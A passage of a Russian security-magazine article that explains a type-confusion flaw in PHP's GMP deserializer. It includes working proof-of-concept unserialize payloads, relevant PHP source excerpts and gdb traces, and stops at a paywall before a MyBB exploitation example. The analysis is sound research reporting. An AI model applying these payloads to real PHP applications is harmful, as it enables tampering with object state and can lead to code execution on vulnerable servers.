В этом выпуске я расскажу об ошибке в десериализаторе объектов GMP в PHP, об уязвимости в сервере Bitbucket, которая позволяет, минуя авторизацию, попасть в админку. Не обошли стороной и уязвимость в популярной CMS WordPress. Эксплуатация найденного бага позволяет изменять содержимое любой записи или страницы.
 

Выполнение произвольного кода в PHP через GMP

Дата релиза: 20 января 2017 года
Автор: Чэнь Таогуан (Taoguang Chen) @chtg57

 

BRIEF

Корень проблемы кроется в ошибке несоответствия используемых типов данных (type confusion) в механизме десериализации GMP (GNU MP). Используя переменные магического метода __wakeup(), специально сформированный объект после восстановления способен изменить свойства уже существующих объектов. Это может привести к различным уязвимостям: от XSS и SQLi до RCE, в зависимости от реализации логики приложения.

 

EXPLOIT

GMP (GNU Multi-Precision) — это библиотека для проведения вычислений с плавающей запятой и работы с числами произвольной точности. Для начала рассмотрим небольшой PoC, который демонстрирует уязвимость.

1:  <?php
2:  class obj
3:  {
4:      var $test;
5:
6:      function __wakeup()
7:      {
8:          $this->test = 1;
9:      }
10: }
11:
12: $obj = new stdClass; // $obj handle = 1
13: $obj->var1 = 1;
14: $obj->var2 = 2;
15:
16: $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}';
17: $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
18: $x = unserialize($exploit); // $x handle = 2
19: var_dump($obj);

Если версия PHP уязвима, то результатом выполнения будут измененные свойства var1 и var2 объекта $obj.

Результат выполнения скрипта с PoC
Результат выполнения скрипта с PoC

Каждая переменная в PHP представляет собой структуру, называемую ZVAL. Она содержит в себе несколько полей, которые относятся к переменной: тип, значение, число ссылающихся переменных и флаг, означающий, что переменная является ссылкой.

typedef struct _zval_struct {
    zvalue_value value;
    zend_uint refcount__gc;
    zend_uchar type;
    zend_uchar is_ref__gc;
} zval;

Сейчас нас интересуют только тип и значение. Тип переменной хранится как целочисленная метка и может меняться при выполнении программы. Ведь, как ты знаешь, PHP — это язык с динамической типизацией данных. Само же значение переменной хранится в union. Вот его структура:

typedef union _zvalue_value {
    long lval;                 // For booleans, integers and resources
    double dval;               // For floating point numbers
    struct {                   // For strings
        char *val;             // string value
        int len;               // string length
    } str;
    HashTable *ht;             // For arrays
    zend_object_value obj;     // For objects
    zend_ast *ast;             // For constant expressions
} zvalue_value;

Особенность этого типа в том, что данные хранятся в определенной области памяти и значение в ней интерпретируется исходя из имени, к которому происходит обращение. Например, если создадим переменную $x=1, то ее ZVAL будет выглядеть примерно так:

$x = {
  value = {
    lval = 0x1,
    dval = 2.121995791459338e-314,
    ...
    obj = {
      handle = 0x1,
      handlers = 0x1
    },
  },
  type = 0x1,
  ...
}

Тип переменной — int, поэтому в интерпретации ZVAL используется метка IS_LONG (type = 0x1).

#define IS_LONG     1      /* Uses lval */

То есть при обращении к этой переменной нужно будет пользоваться именем $x.lval, а если попробовать обратиться к $x.dval, то мы получим уже совершенно другое значение. Запомни эту особенность, она нам понадобится для понимания уязвимости.

Подробнее об устройстве и хранении данных в PHP ты можешь прочитать в руководстве на сайте, в книге PHP Internals или в статье на Хабре.

Теперь, вооружившись отладчиком, мы возвращаемся к описанию бага. Наше увлекательное путешествие начинается с файла gmp.c, в котором мы посмотрим на функцию десериализации:

/ext/gmp/gmp.c:

...
629: static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC)
630: {
...
643:    ALLOC_INIT_ZVAL(zv_ptr);
644:    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
645:        || Z_TYPE_P(zv_ptr) != IS_STRING
646:        || convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE
647:    ) {
648:        zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);
649:        goto exit;
650:    }
...
653:    ALLOC_INIT_ZVAL(zv_ptr);
654:    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
655:        || Z_TYPE_P(zv_ptr) != IS_ARRAY
656:    ) {
657:        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
658:        goto exit;
659:    }
660:
661:    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
662:        zend_hash_copy(
663:            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
664:            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
665:        );
666:    }

Поставим брейки на строки 650 и 660, чтобы посмотреть, как изменяется object во время работы функции. Сначала восстанавливается сам класс GMP (строка 644). Если все прошло успешно, то наш object выглядит таким образом:

gdb-peda$ p **object
$71 = {
  value = {
    lval = 0x2,
    dval = 2.3274185658458967e-267,
    str = {
      val = 0x2 <error: Cannot access memory at address 0x2>,
      len = 0x8933640
    },
    ht = 0x2,
    obj = {
      handle = 0x2,
      handlers = 0x8933640 <gmp_object_handlers>
    },
    ast = 0x2
  },
  refcount__gc = 0x1,
  type = 0x5,
  is_ref__gc = 0x0
}

По типу можно видеть, что это объект (type = 0x5):

#define IS_OBJECT   5      /* Uses obj */

У каждого объекта есть хендл (handle). Это уникальный идентификатор, который инкрементируется всякий раз, когда ты создаешь экземпляр класса. Для примера возьмем такой код:

$a = new stdClass(); // handle = 1
$b = new stdClass(); // handle = 2
$c = new stdClass(); // handle = 3

Хендл объекта $c будет равен 3, потому что их отсчет начинается с единицы. По этому номеру из общего хранилища объектов можно получить данные, принадлежащие искомому.

Возвращаемся к нашему тестовому скрипту. Дальше идет десериализация атрибутов — строка 654. Тут происходит небольшая магия. Обрати внимание на последнюю часть сериализованных данных — O:3:"obj":1:{s:4:"test";R:2;}}'. Здесь атрибут obj->test — это ссылка на весь десериализованный объект (R:2;). Еще в классе obj присутствует магический метод __wakeup, который присваивает единицу свойству test. Поэтому после восстановления object конвертируется в совершенно другой ZVAL, который теперь имеет тип не объекта, а целочисленной переменной со значением, равным единице (строка 660).

gdb-peda$ p **object
$77 = {
  value = {
    lval = 0x1,
    dval = 2.121995791459338e-314,
    str = {
      val = 0x1 <error: Cannot access memory at address 0x1>,
      len = 0x1
    },
    ht = 0x1,
    obj = {
      handle = 0x1,
      handlers = 0x1
    },
    ast = 0x1
  },
  refcount__gc = 0x3,
  type = 0x1,
  is_ref__gc = 0x1
}

Дальше функция zend_hash_copy копирует данные object в переменную $x. Но сначала эти данные извлекаются с помощью zend_std_get_properties:

/Zend/zend_object_handlers.c:

105: ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC)
106: {
107:    zend_object *zobj;
108:    zobj = Z_OBJ_P(object);
109:    if (!zobj->properties) {
110:        rebuild_object_properties(zobj);
111:    }
112:    return zobj->properties;
113: }

Мы близки к развязке. Проблемный участок кода находится в строке 108. Что же делает Z_OBJ_P?

/Zend/zend_object_handlers.c:

35: #define Z_OBJ_P(zval_p) 
36:     ((zend_object*)(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(zval_p)].bucket.obj.object))

Из общего хранилища (EG(objects_store)) извлекается объект, у которого handle = object.value.obj.handle (object_buckets[Z_OBJ_HANDLE_P(zval_p)]).

Zend/zend_operators.h:

448: #define Z_OBJVAL(zval)         (zval).value.obj
449: #define Z_OBJ_HANDLE(zval)     Z_OBJVAL(zval).handle
...
468: #define Z_OBJ_HANDLE_P(zval_p) Z_OBJ_HANDLE(*zval_p)

Здесь мы запрашиваем значение ZVAL, не глядя на его тип. Вспомни, что я рассказывал про структуру переменных в PHP: в памяти хранится одно и то же значение, а его интерпретация зависит только от того, как к нему обращаются. Вот тут наша единица становится хендлом, который используется для нахождения объекта:

gdb-peda$ p object.value.obj.handle
$79 = 0x1

Под номером один у нас $obj (строка 12, скрипт test.php). Поэтому все свойства после десериализации записываются в него, что и открывает возможность для эксплуатации.

 

Установка хендлов через DateInterval

Как вручную задавать хендлы для изменения свойств нужных нам объектов? Для этого воспользуемся классом DateInterval. Местный магический метод __wakeup использует функцию convert_to_long() и может перезаписывать свойства своего же объекта. Подробнее об этом можешь прочитать на Гитхабе автора эксплоита.

С помощью функции gmp_cast_object() мы можем преобразовать объект в любой числовой ZVAL, чтобы затем использовать его для перезаписи объектов с нужными хендлами.

/ext/gmp/gmp.c:

436: static int gmp_cast_object(zval *readobj, zval *writeobj, int type TSRMLS_DC) /* {{{ */
437: {
438:    mpz_ptr gmpnum;
439:    switch (type) {
...
445:    case IS_LONG:
446:        gmpnum = GET_GMP_FROM_ZVAL(readobj);
447:        INIT_PZVAL(writeobj);
448:        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
449:        return SUCCESS;

Посмотри на результат работы этого скрипта.

<?php
$a = new stdClass; // handle = 1
$a->test = false;
echo('Property $a->test is: ');
var_dump($a->test);
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}');
echo('Property $a->test changed to: ');
var_dump($a->test);

К сожалению, этот эксплоит работает только на PHP 5.6.11 или младше. Теперь перейдем к более жизненному примеру — RCE в движке форума MyBB.

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…